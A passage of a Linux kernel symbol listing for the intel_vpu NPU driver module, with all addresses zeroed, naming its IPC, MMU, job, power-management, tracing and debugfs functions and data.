r __func__.50 [intel_vpu] +0000000000000000 r __func__.48 [intel_vpu] +0000000000000000 r __func__.46 [intel_vpu] +0000000000000000 t ivpu_hw_ip_top_noc_enable.cold [intel_vpu] +0000000000000000 r __func__.51 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug628.74 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug619.76 [intel_vpu] +0000000000000000 r __func__.33 [intel_vpu] +0000000000000000 r __func__.31 [intel_vpu] +0000000000000000 r __func__.29 [intel_vpu] +0000000000000000 r __func__.39 [intel_vpu] +0000000000000000 r __func__.38 [intel_vpu] +0000000000000000 r __func__.35 [intel_vpu] +0000000000000000 r __func__.42 [intel_vpu] +0000000000000000 r __func__.37 [intel_vpu] +0000000000000000 r __func__.40 [intel_vpu] +0000000000000000 r __func__.32 [intel_vpu] +0000000000000000 r __func__.34 [intel_vpu] +0000000000000000 r __func__.36 [intel_vpu] +0000000000000000 r __func__.41 [intel_vpu] +0000000000000000 r __func__.30 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug621.75 [intel_vpu] +0000000000000000 r __func__.28 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug612.77 [intel_vpu] +0000000000000000 t ivpu_hw_ip_pwr_domain_enable.cold [intel_vpu] +0000000000000000 r __func__.44 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug525.83 [intel_vpu] +0000000000000000 r __func__.27 [intel_vpu] +0000000000000000 t ivpu_hw_ip_read_perf_timer_counter.cold [intel_vpu] +0000000000000000 r __func__.24 [intel_vpu] +0000000000000000 r __func__.25 [intel_vpu] +0000000000000000 t ivpu_hw_ip_snoop_disable.cold [intel_vpu] +0000000000000000 r __func__.22 [intel_vpu] +0000000000000000 r __func__.23 [intel_vpu] +0000000000000000 t ivpu_hw_ip_tbu_mmu_enable.cold [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug670.73 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug682.72 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug529.81 [intel_vpu] +0000000000000000 r __func__.20 [intel_vpu] +0000000000000000 r __func__.18 [intel_vpu] +0000000000000000 r __func__.17 [intel_vpu] +0000000000000000 r __func__.16 [intel_vpu] +0000000000000000 r __func__.21 [intel_vpu] +0000000000000000 t ivpu_hw_ip_soc_cpu_boot.cold [intel_vpu] +0000000000000000 r __func__.19 [intel_vpu] +0000000000000000 r __func__.13 [intel_vpu] +0000000000000000 r __func__.14 [intel_vpu] +0000000000000000 t ivpu_hw_ip_wdt_disable.cold [intel_vpu] +0000000000000000 t ivpu_hw_ip_ipc_rx_count_get.cold [intel_vpu] +0000000000000000 r __func__.12 [intel_vpu] +0000000000000000 t ivpu_hw_ip_irq_enable.cold [intel_vpu] +0000000000000000 r __func__.11 [intel_vpu] +0000000000000000 t ivpu_hw_ip_irq_disable.cold [intel_vpu] +0000000000000000 r __func__.9 [intel_vpu] +0000000000000000 r __func__.10 [intel_vpu] +0000000000000000 t ivpu_hw_ip_diagnose_failure.cold [intel_vpu] +0000000000000000 r __func__.8 [intel_vpu] +0000000000000000 t ivpu_hw_ip_irq_clear.cold [intel_vpu] +0000000000000000 r __func__.7 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug696.70 [intel_vpu] +0000000000000000 r __func__.5 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug698.69 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug531.80 [intel_vpu] +0000000000000000 r __func__.2 [intel_vpu] +0000000000000000 r __func__.4 [intel_vpu] +0000000000000000 t ivpu_hw_ip_db_set.cold [intel_vpu] +0000000000000000 r __func__.1 [intel_vpu] +0000000000000000 t ivpu_hw_ip_ipc_rx_addr_get.cold [intel_vpu] +0000000000000000 r __func__.0 [intel_vpu] +0000000000000000 t ivpu_hw_ip_ipc_tx_set.cold [intel_vpu] +0000000000000000 r __func__.3 [intel_vpu] +0000000000000000 r __func__.6 [intel_vpu] +0000000000000000 r __func__.15 [intel_vpu] +0000000000000000 r __func__.26 [intel_vpu] +0000000000000000 r __func__.62 [intel_vpu] +0000000000000000 r __func__.64 [intel_vpu] +0000000000000000 t __pfx_irq_noc_firewall_handler [intel_vpu] +0000000000000000 t __pfx_host_ss_noc_qacceptn_check [intel_vpu] +0000000000000000 t __pfx_host_ss_noc_qdeny_check.constprop.0 [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_gen.part.0 [intel_vpu] +0000000000000000 t ivpu_ipc_rx_msg_del [intel_vpu] +0000000000000000 t ivpu_jsm_msg_dump [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug601.26 [intel_vpu] +0000000000000000 t ivpu_ipc_msg_dump [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug599.27 [intel_vpu] +0000000000000000 b __key.21 [intel_vpu] +0000000000000000 r __func__.19 [intel_vpu] +0000000000000000 d _rs.18 [intel_vpu] +0000000000000000 d _rs.17 [intel_vpu] +0000000000000000 d _rs.20 [intel_vpu] +0000000000000000 t ivpu_ipc_send.cold [intel_vpu] +0000000000000000 d __already_done.25 [intel_vpu] +0000000000000000 t ivpu_ipc_receive.cold [intel_vpu] +0000000000000000 r __func__.14 [intel_vpu] +0000000000000000 r __func__.12 [intel_vpu] +0000000000000000 d _rs.13 [intel_vpu] +0000000000000000 d _rs.11 [intel_vpu] +0000000000000000 d _rs.10 [intel_vpu] +0000000000000000 t ivpu_ipc_send_receive_internal.cold [intel_vpu] +0000000000000000 r __func__.8 [intel_vpu] +0000000000000000 d _rs.9 [intel_vpu] +0000000000000000 t ivpu_ipc_send_and_wait.cold [intel_vpu] +0000000000000000 r __func__.6 [intel_vpu] +0000000000000000 d _rs.3 [intel_vpu] +0000000000000000 d _rs.5 [intel_vpu] +0000000000000000 d _rs.4 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug606.22 [intel_vpu] +0000000000000000 d _rs.7 [intel_vpu] +0000000000000000 d _rs.2 [intel_vpu] +0000000000000000 t ivpu_ipc_irq_handler.cold [intel_vpu] +0000000000000000 t ivpu_ipc_reset.cold [intel_vpu] +0000000000000000 b __key.0 [intel_vpu] +0000000000000000 t ivpu_ipc_init.cold [intel_vpu] +0000000000000000 r __func__.1 [intel_vpu] +0000000000000000 r __func__.15 [intel_vpu] +0000000000000000 r __func__.16 [intel_vpu] +0000000000000000 r .LC8 [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_rx_msg_del [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_msg_dump [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_msg_dump [intel_vpu] +0000000000000000 t ivpu_fence_get_driver_name [intel_vpu] +0000000000000000 t ivpu_fence_get_timeline_name [intel_vpu] +0000000000000000 t ivpu_cmdq_fini.isra.0 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug602.23 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug604.22 [intel_vpu] +0000000000000000 t ivpu_cmdq_fini.isra.0.cold [intel_vpu] +0000000000000000 t ivpu_job_destroy [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug609.20 [intel_vpu] +0000000000000000 t ivpu_job_signal_and_destroy [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug613.18 [intel_vpu] +0000000000000000 t ivpu_job_signal_and_destroy.cold [intel_vpu] +0000000000000000 t ivpu_job_done_callback [intel_vpu] +0000000000000000 t ivpu_job_done_callback.cold [intel_vpu] +0000000000000000 r __func__.0 [intel_vpu] +0000000000000000 r ivpu_fence_ops [intel_vpu] +0000000000000000 r __func__.6 [intel_vpu] +0000000000000000 d _rs.7 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug617.16 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug619.15 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug611.19 [intel_vpu] +0000000000000000 r __func__.9 [intel_vpu] +0000000000000000 d _rs.10 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug615.17 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug600.24 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug598.25 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug607.21 [intel_vpu] +0000000000000000 t ivpu_submit_ioctl.cold [intel_vpu] +0000000000000000 r __func__.8 [intel_vpu] +0000000000000000 r __func__.11 [intel_vpu] +0000000000000000 r __func__.5 [intel_vpu] +0000000000000000 r __func__.4 [intel_vpu] +0000000000000000 r __func__.1 [intel_vpu] +0000000000000000 r __func__.2 [intel_vpu] +0000000000000000 r __func__.3 [intel_vpu] +0000000000000000 r __func__.12 [intel_vpu] +0000000000000000 r __func__.13 [intel_vpu] +0000000000000000 r __func__.14 [intel_vpu] +0000000000000000 r .LC12 [intel_vpu] +0000000000000000 t __pfx_ivpu_fence_get_driver_name [intel_vpu] +0000000000000000 t __pfx_ivpu_fence_get_timeline_name [intel_vpu] +0000000000000000 t __pfx_ivpu_cmdq_fini.isra.0 [intel_vpu] +0000000000000000 t __pfx_ivpu_job_destroy [intel_vpu] +0000000000000000 t __pfx_ivpu_job_signal_and_destroy [intel_vpu] +0000000000000000 t __pfx_ivpu_job_done_callback [intel_vpu] +0000000000000000 r __func__.40 [intel_vpu] +0000000000000000 d _rs.41 [intel_vpu] +0000000000000000 t ivpu_jsm_register_db.cold [intel_vpu] +0000000000000000 r __func__.38 [intel_vpu] +0000000000000000 d _rs.39 [intel_vpu] +0000000000000000 t ivpu_jsm_unregister_db.cold [intel_vpu] +0000000000000000 r __func__.36 [intel_vpu] +0000000000000000 d _rs.37 [intel_vpu] +0000000000000000 t ivpu_jsm_get_heartbeat.cold [intel_vpu] +0000000000000000 r __func__.34 [intel_vpu] +0000000000000000 d _rs.35 [intel_vpu] +0000000000000000 t ivpu_jsm_reset_engine.cold [intel_vpu] +0000000000000000 r __func__.32 [intel_vpu] +0000000000000000 d _rs.33 [intel_vpu] +0000000000000000 t ivpu_jsm_preempt_engine.cold [intel_vpu] +0000000000000000 r __func__.30 [intel_vpu] +0000000000000000 d _rs.31 [intel_vpu] +0000000000000000 t ivpu_jsm_dyndbg_control.cold [intel_vpu] +0000000000000000 r __func__.28 [intel_vpu] +0000000000000000 d _rs.29 [intel_vpu] +0000000000000000 t ivpu_jsm_trace_get_capability.cold [intel_vpu] +0000000000000000 r __func__.26 [intel_vpu] +0000000000000000 d _rs.27 [intel_vpu] +0000000000000000 t ivpu_jsm_trace_set_config.cold [intel_vpu] +0000000000000000 r __func__.24 [intel_vpu] +0000000000000000 d _rs.25 [intel_vpu] +0000000000000000 t ivpu_jsm_context_release.cold [intel_vpu] +0000000000000000 t ivpu_jsm_pwr_d0i3_enter.cold [intel_vpu] +0000000000000000 r __func__.22 [intel_vpu] +0000000000000000 d _rs.23 [intel_vpu] +0000000000000000 t ivpu_jsm_hws_create_cmdq.cold [intel_vpu] +0000000000000000 r __func__.20 [intel_vpu] +0000000000000000 d _rs.21 [intel_vpu] +0000000000000000 t ivpu_jsm_hws_destroy_cmdq.cold [intel_vpu] +0000000000000000 r __func__.18 [intel_vpu] +0000000000000000 d _rs.19 [intel_vpu] +0000000000000000 t ivpu_jsm_hws_register_db.cold [intel_vpu] +0000000000000000 r __func__.16 [intel_vpu] +0000000000000000 d _rs.17 [intel_vpu] +0000000000000000 t ivpu_jsm_hws_resume_engine.cold [intel_vpu] +0000000000000000 r __func__.14 [intel_vpu] +0000000000000000 d _rs.15 [intel_vpu] +0000000000000000 t ivpu_jsm_hws_set_context_sched_properties.cold [intel_vpu] +0000000000000000 r __func__.12 [intel_vpu] +0000000000000000 d _rs.13 [intel_vpu] +0000000000000000 t ivpu_jsm_hws_set_scheduling_log.cold [intel_vpu] +0000000000000000 r __func__.10 [intel_vpu] +0000000000000000 d _rs.11 [intel_vpu] +0000000000000000 t ivpu_jsm_hws_setup_priority_bands.cold [intel_vpu] +0000000000000000 r __func__.8 [intel_vpu] +0000000000000000 d _rs.9 [intel_vpu] +0000000000000000 t ivpu_jsm_metric_streamer_start.cold [intel_vpu] +0000000000000000 r __func__.6 [intel_vpu] +0000000000000000 d _rs.7 [intel_vpu] +0000000000000000 t ivpu_jsm_metric_streamer_stop.cold [intel_vpu] +0000000000000000 r __func__.4 [intel_vpu] +0000000000000000 d _rs.3 [intel_vpu] +0000000000000000 d _rs.5 [intel_vpu] +0000000000000000 t ivpu_jsm_metric_streamer_update.cold [intel_vpu] +0000000000000000 r __func__.1 [intel_vpu] +0000000000000000 d _rs.2 [intel_vpu] +0000000000000000 d _rs.0 [intel_vpu] +0000000000000000 t ivpu_jsm_metric_streamer_info.cold [intel_vpu] +0000000000000000 t ivpu_mmu_cmdq_cmd_write [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug606.39 [intel_vpu] +0000000000000000 t ivpu_mmu_cmdq_cmd_write.cold [intel_vpu] +0000000000000000 r __func__.32 [intel_vpu] +0000000000000000 t ivpu_mmu_dump_event [intel_vpu] +0000000000000000 d _rs.11 [intel_vpu] +0000000000000000 r __func__.10 [intel_vpu] +0000000000000000 t ivpu_mmu_dump_event.cold [intel_vpu] +0000000000000000 r CSWTCH.73 [intel_vpu] +0000000000000000 t ivpu_mmu_strtab_link_cd [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug730.38 [intel_vpu] +0000000000000000 t ivpu_mmu_strtab_link_cd.cold [intel_vpu] +0000000000000000 t ivpu_mmu_get_event [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug553.56 [intel_vpu] +0000000000000000 r __func__.9 [intel_vpu] +0000000000000000 t ivpu_mmu_cmdq_sync [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug597.41 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug557.55 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug604.40 [intel_vpu] +0000000000000000 r __func__.29 [intel_vpu] +0000000000000000 r __func__.31 [intel_vpu] +0000000000000000 t ivpu_mmu_cmdq_sync.cold [intel_vpu] +0000000000000000 r CSWTCH.75 [intel_vpu] +0000000000000000 t ivpu_mmu_cdtab_entry_set [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug771.37 [intel_vpu] +0000000000000000 t ivpu_mmu_cdtab_entry_set.cold [intel_vpu] +0000000000000000 t ivpu_mmu_reg_write_irq_ctrl [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug595.42 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug588.43 [intel_vpu] +0000000000000000 r __func__.15 [intel_vpu] +0000000000000000 t ivpu_mmu_reg_write_cr0 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug586.44 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug579.45 [intel_vpu] +0000000000000000 r __func__.14 [intel_vpu] +0000000000000000 t ivpu_mmu_invalidate_tlb.cold [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug559.54 [intel_vpu] +0000000000000000 r __func__.17 [intel_vpu] +0000000000000000 t ivpu_mmu_enable.cold [intel_vpu] +0000000000000000 r __func__.18 [intel_vpu] +0000000000000000 b __key.27 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug776.35 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug774.36 [intel_vpu] +0000000000000000 r __func__.25 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug569.50 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug563.53 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug565.52 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug567.51 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug571.49 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug573.48 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug575.47 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug577.46 [intel_vpu] +0000000000000000 t ivpu_mmu_init.cold [intel_vpu] +0000000000000000 r __func__.24 [intel_vpu] +0000000000000000 r __func__.26 [intel_vpu] +0000000000000000 r __func__.13 [intel_vpu] +0000000000000000 d _rs.12 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug788.34 [intel_vpu] +0000000000000000 t ivpu_mmu_irq_evtq_handler.cold [intel_vpu] +0000000000000000 r __func__.8 [intel_vpu] +0000000000000000 d _rs.1 [intel_vpu] +0000000000000000 d _rs.2 [intel_vpu] +0000000000000000 d _rs.3 [intel_vpu] +0000000000000000 d _rs.4 [intel_vpu] +0000000000000000 d _rs.5 [intel_vpu] +0000000000000000 d _rs.6 [intel_vpu] +0000000000000000 d _rs.7 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug795.33 [intel_vpu] +0000000000000000 t ivpu_mmu_irq_gerr_handler.cold [intel_vpu] +0000000000000000 r __func__.0 [intel_vpu] +0000000000000000 r __func__.16 [intel_vpu] +0000000000000000 r __func__.19 [intel_vpu] +0000000000000000 r __func__.20 [intel_vpu] +0000000000000000 r __func__.21 [intel_vpu] +0000000000000000 r __func__.22 [intel_vpu] +0000000000000000 r __func__.23 [intel_vpu] +0000000000000000 r __func__.28 [intel_vpu] +0000000000000000 r __func__.30 [intel_vpu] +0000000000000000 r .LC28 [intel_vpu] +0000000000000000 r .LC49 [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_cmdq_cmd_write [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_dump_event [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_strtab_link_cd [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_get_event [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_cmdq_sync [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_cdtab_entry_set [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_reg_write_irq_ctrl [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_reg_write_cr0 [intel_vpu] +0000000000000000 t ivpu_pgtable_alloc_page [intel_vpu] +0000000000000000 t ivpu_mmu_context_split_64k_page [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug643.9 [intel_vpu] +0000000000000000 t ivpu_pgtable_free_page [intel_vpu] +0000000000000000 t ivpu_mmu_context_map_page [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug645.8 [intel_vpu] +0000000000000000 t ivpu_mmu_context_set_pages_ro.cold [intel_vpu] +0000000000000000 r __func__.5 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug647.7 [intel_vpu] +0000000000000000 t ivpu_mmu_context_map_sgt.cold [intel_vpu] +0000000000000000 r __func__.3 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug649.6 [intel_vpu] +0000000000000000 t ivpu_mmu_context_unmap_sgt.cold [intel_vpu] +0000000000000000 r __func__.2 [intel_vpu] +0000000000000000 t ivpu_mmu_context_insert_node.cold [intel_vpu] +0000000000000000 b __key.1 [intel_vpu] +0000000000000000 t ivpu_mmu_context_fini.cold [intel_vpu] +0000000000000000 t ivpu_mmu_reserved_context_init.cold [intel_vpu] +0000000000000000 r __func__.0 [intel_vpu] +0000000000000000 r __func__.4 [intel_vpu] +0000000000000000 r .LC4 [intel_vpu] +0000000000000000 t __pfx_ivpu_pgtable_alloc_page [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_context_split_64k_page [intel_vpu] +0000000000000000 t __pfx_ivpu_pgtable_free_page [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_context_map_page [intel_vpu] +0000000000000000 t copy_leftover_bytes [intel_vpu] +0000000000000000 t ivpu_ms_start_ioctl.cold [intel_vpu] +0000000000000000 r __func__.1 [intel_vpu] +0000000000000000 t ivpu_ms_get_data_ioctl.cold [intel_vpu] +0000000000000000 r __func__.0 [intel_vpu] +0000000000000000 r .LC0 [intel_vpu] +0000000000000000 t __pfx_copy_leftover_bytes [intel_vpu] +0000000000000000 t ivpu_pm_prepare_cold_boot [intel_vpu] +0000000000000000 t ivpu_resume [intel_vpu] +0000000000000000 t ivpu_resume.cold [intel_vpu] +0000000000000000 r __func__.11 [intel_vpu] +0000000000000000 t ivpu_pm_recovery_work [intel_vpu] +0000000000000000 r __func__.4 [intel_vpu] +0000000000000000 r __func__.14 [intel_vpu] +0000000000000000 t ivpu_pm_prepare_warm_boot [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug601.32 [intel_vpu] +0000000000000000 r __func__.16 [intel_vpu] +0000000000000000 t ivpu_job_timeout_work [intel_vpu] +0000000000000000 b ivpu_tdr_timeout_ms [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug603.31 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug605.30 [intel_vpu] +0000000000000000 t ivpu_pm_suspend_cb.cold [intel_vpu] +0000000000000000 r __func__.15 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug607.29 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug609.28 [intel_vpu] +0000000000000000 t ivpu_pm_resume_cb.cold [intel_vpu] +0000000000000000 r __func__.12 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug611.27 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug613.26 [intel_vpu] +0000000000000000 t ivpu_pm_runtime_suspend_cb.cold [intel_vpu] +0000000000000000 r __func__.10 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug615.25 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug617.24 [intel_vpu] +0000000000000000 t ivpu_pm_runtime_resume_cb.cold [intel_vpu] +0000000000000000 r __func__.9 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug619.23 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug621.22 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug623.21 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug625.20 [intel_vpu] +0000000000000000 t ivpu_pm_reset_done_cb.cold [intel_vpu] +0000000000000000 r __func__.7 [intel_vpu] +0000000000000000 b __key.6 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug627.19 [intel_vpu] +0000000000000000 r __func__.2 [intel_vpu] +0000000000000000 d _rs.3 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug629.18 [intel_vpu] +0000000000000000 t ivpu_pm_dct_enable.cold [intel_vpu] +0000000000000000 r __func__.0 [intel_vpu] +0000000000000000 d _rs.1 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug631.17 [intel_vpu] +0000000000000000 t ivpu_pm_dct_disable.cold [intel_vpu] +0000000000000000 t ivpu_pm_dct_irq_thread_handler.cold [intel_vpu] +0000000000000000 r __func__.5 [intel_vpu] +0000000000000000 r __func__.8 [intel_vpu] +0000000000000000 r __func__.13 [intel_vpu] +0000000000000000 r __param_tdr_timeout_ms [intel_vpu] +0000000000000000 r __param_str_tdr_timeout_ms [intel_vpu] +0000000000000000 r .LC11 [intel_vpu] +0000000000000000 r .LC29 [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_prepare_cold_boot [intel_vpu] +0000000000000000 t __pfx_ivpu_resume [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_prepare_warm_boot [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_recovery_work [intel_vpu] +0000000000000000 t __pfx_ivpu_job_timeout_work [intel_vpu] +0000000000000000 t sched_mode_show [intel_vpu] +0000000000000000 t npu_busy_time_us_show [intel_vpu] +0000000000000000 d ivpu_dev_attr_group [intel_vpu] +0000000000000000 t ivpu_sysfs_init.cold [intel_vpu] +0000000000000000 r __func__.0 [intel_vpu] +0000000000000000 d ivpu_dev_attrs [intel_vpu] +0000000000000000 d dev_attr_npu_busy_time_us [intel_vpu] +0000000000000000 d dev_attr_sched_mode [intel_vpu] +0000000000000000 t __pfx_sched_mode_show [intel_vpu] +0000000000000000 t __pfx_npu_busy_time_us_show [intel_vpu] +0000000000000000 t perf_trace_pm [intel_vpu] +0000000000000000 t perf_trace_job [intel_vpu] +0000000000000000 t trace_event_raw_event_pm [intel_vpu] +0000000000000000 t trace_event_raw_event_job [intel_vpu] +0000000000000000 t trace_raw_output_pm [intel_vpu] +0000000000000000 t trace_raw_output_job [intel_vpu] +0000000000000000 t trace_raw_output_jsm [intel_vpu] +0000000000000000 t perf_trace_jsm [intel_vpu] +0000000000000000 t trace_event_raw_event_jsm [intel_vpu] +0000000000000000 t __bpf_trace_pm [intel_vpu] +0000000000000000 t __bpf_trace_job [intel_vpu] +0000000000000000 t __bpf_trace_jsm [intel_vpu] +0000000000000000 d __bpf_trace_tp_map_jsm [intel_vpu] +0000000000000000 d __bpf_trace_tp_map_job [intel_vpu] +0000000000000000 d __bpf_trace_tp_map_pm [intel_vpu] +0000000000000000 d __event_jsm [intel_vpu] +0000000000000000 d event_jsm [intel_vpu] +0000000000000000 d print_fmt_jsm [intel_vpu] +0000000000000000 d __event_job [intel_vpu] +0000000000000000 d event_job [intel_vpu] +0000000000000000 d print_fmt_job [intel_vpu] +0000000000000000 d __event_pm [intel_vpu] +0000000000000000 d event_pm [intel_vpu] +0000000000000000 d print_fmt_pm [intel_vpu] +0000000000000000 d trace_event_fields_jsm [intel_vpu] +0000000000000000 d trace_event_fields_job [intel_vpu] +0000000000000000 d trace_event_fields_pm [intel_vpu] +0000000000000000 d trace_event_type_funcs_jsm [intel_vpu] +0000000000000000 d trace_event_type_funcs_job [intel_vpu] +0000000000000000 d trace_event_type_funcs_pm [intel_vpu] +0000000000000000 d event_class_jsm [intel_vpu] +0000000000000000 r str__vpu__trace_system_name [intel_vpu] +0000000000000000 d event_class_job [intel_vpu] +0000000000000000 d event_class_pm [intel_vpu] +0000000000000000 r __tpstrtab_jsm [intel_vpu] +0000000000000000 r __tpstrtab_job [intel_vpu] +0000000000000000 r __tpstrtab_pm [intel_vpu] +0000000000000000 t __pfx_perf_trace_pm [intel_vpu] +0000000000000000 t __pfx_perf_trace_job [intel_vpu] +0000000000000000 t __pfx_trace_event_raw_event_pm [intel_vpu] +0000000000000000 t __pfx_trace_event_raw_event_job [intel_vpu] +0000000000000000 t __pfx_trace_raw_output_pm [intel_vpu] +0000000000000000 t __pfx_trace_raw_output_job [intel_vpu] +0000000000000000 t __pfx_trace_raw_output_jsm [intel_vpu] +0000000000000000 t __pfx_perf_trace_jsm [intel_vpu] +0000000000000000 t __pfx_trace_event_raw_event_jsm [intel_vpu] +0000000000000000 t __pfx___bpf_trace_pm [intel_vpu] +0000000000000000 t __pfx___bpf_trace_job [intel_vpu] +0000000000000000 t __pfx___bpf_trace_jsm [intel_vpu] +0000000000000000 t dvfs_mode_get [intel_vpu] +0000000000000000 t dct_active_get [intel_vpu] +0000000000000000 t ivpu_dct_fops_open [intel_vpu] +0000000000000000 t dct_active_set [intel_vpu] +0000000000000000 t ivpu_resume_engine_fops_open [intel_vpu] +0000000000000000 t ivpu_resume_engine_fn [intel_vpu] +0000000000000000 t ivpu_reset_engine_fops_open [intel_vpu] +0000000000000000 t ivpu_reset_engine_fn [intel_vpu] +0000000000000000 t dvfs_mode_fops_open [intel_vpu] +0000000000000000 t dvfs_mode_set [intel_vpu] +0000000000000000 t fw_trace_level_fops_write [intel_vpu] +0000000000000000 t fw_trace_destination_mask_fops_write [intel_vpu] +0000000000000000 t fw_trace_hw_comp_mask_fops_write [intel_vpu] +0000000000000000 t fw_log_fops_open [intel_vpu] +0000000000000000 t fw_log_show [intel_vpu] +0000000000000000 t fw_log_fops_write [intel_vpu] +0000000000000000 t fw_dyndbg_fops_write [intel_vpu] +0000000000000000 t ivpu_force_recovery_fn [intel_vpu] +0000000000000000 t firewall_irq_counter_show [intel_vpu] +0000000000000000 t reset_pending_show [intel_vpu] +0000000000000000 t reset_counter_show [intel_vpu] +0000000000000000 t fw_trace_config_show [intel_vpu] +0000000000000000 t fw_version_show [intel_vpu] +0000000000000000 t fw_name_show [intel_vpu] +0000000000000000 t fw_trace_capability_show [intel_vpu] +0000000000000000 t bo_list_show [intel_vpu] +0000000000000000 t fw_profiling_freq_fops_write [intel_vpu] +0000000000000000 t fw_profiling_freq_fops_write.cold [intel_vpu] +0000000000000000 t last_bootmode_show [intel_vpu] +0000000000000000 t last_bootmode_show.cold [intel_vpu] +0000000000000000 r vdev_debugfs_list [intel_vpu] +0000000000000000 r ivpu_force_recovery_fops [intel_vpu] +0000000000000000 r dvfs_mode_fops [intel_vpu] +0000000000000000 r fw_dyndbg_fops [intel_vpu] +0000000000000000 r fw_log_fops [intel_vpu] +0000000000000000 r fw_trace_destination_mask_fops [intel_vpu] +0000000000000000 r fw_trace_hw_comp_mask_fops [intel_vpu] +0000000000000000 r fw_trace_level_fops [intel_vpu] +0000000000000000 r ivpu_reset_engine_fops [intel_vpu] +0000000000000000 r ivpu_resume_engine_fops [intel_vpu] +0000000000000000 r fw_profiling_freq_fops [intel_vpu] +0000000000000000 r ivpu_dct_fops [intel_vpu] +0000000000000000 t ivpu_debugfs_init.cold [intel_vpu] +0000000000000000 r __func__.0 [intel_vpu] +0000000000000000 t __pfx_dvfs_mode_get [intel_vpu] +0000000000000000 t __pfx_dct_active_get [intel_vpu] +0000000000000000 t __pfx_ivpu_dct_fops_open [intel_vpu] +0000000000000000 t __pfx_ivpu_resume_engine_fops_open [intel_vpu] +0000000000000000 t __pfx_ivpu_reset_engine_fops_open [intel_vpu] +0000000000000000 t __pfx_dvfs_mode_fops_open [intel_vpu] +0000000000000000 t __pfx_dvfs_mode_set [intel_vpu] +0000000000000000 t __pfx_ivpu_resume_engine_fn [intel_vpu] +0000000000000000 t __pfx_ivpu_reset_engine_fn [intel_vpu] +0000000000000000 t 